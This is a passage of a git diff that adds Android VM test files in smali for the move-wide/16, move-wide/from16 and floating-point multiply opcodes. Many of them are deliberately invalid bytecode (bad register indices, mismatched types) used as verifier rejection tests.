+.source "T_move_wide_16_2.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide/16 v2, 5678
+       
+       move-wide/16 v4001, v2
+       move-wide/16 v0, v4001
+       
+       const-wide v4, 5678
+
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali
new file mode 100644
index 0000000..4848563
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/16 v0, v5000
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali
new file mode 100644
index 0000000..3ee4e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v0, 0
+       move-wide/16 v5000, v0
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali
new file mode 100644
index 0000000..9cfbbf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/16 v0, v4999
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali
new file mode 100644
index 0000000..f44fa2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_6.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v123, 123
+       move-wide/16 v255, v123
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali
new file mode 100644
index 0000000..5a94771
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_7.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-wide/16 v255, v124
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali
new file mode 100644
index 0000000..de95e05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/16 v124, v0
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali
new file mode 100644
index 0000000..8e5a85e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/from16 v0, v5000
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali
new file mode 100644
index 0000000..cc13647
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move-wide/from16 v5, v1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali
new file mode 100644
index 0000000..fdf891a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/from16 v0, v4999
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali
new file mode 100644
index 0000000..a266fb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/from16 v124, v0
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali
new file mode 100644
index 0000000..838b7fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_1.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali
new file mode 100644
index 0000000..46e2b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v10, v14
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali
new file mode 100644
index 0000000..d55a1c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_3.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali
new file mode 100644
index 0000000..058c09c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_4.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali
new file mode 100644
index 0000000..a4d45d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_5.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v9, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali
new file mode 100644
index 0000000..cded4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali
new file mode 100644
index 0000000..651431e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v14
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali
new file mode 100644
index 0000000..8fbbb96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali
new file mode 100644
index 0000000..d1837d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali
new file mode 100644
index 0000000..bffe82c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali
new file mode 100644
index 0000000..6280a50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_1.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali
new file mode 100644
index 0000000..b5d27a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali
new file mode 100644
index 0000000..aa0fb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_3.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float v0, v5, v6
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali
new file mode 100644
index 0000000..692b4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali

@@ -0,0 +1,32 @@
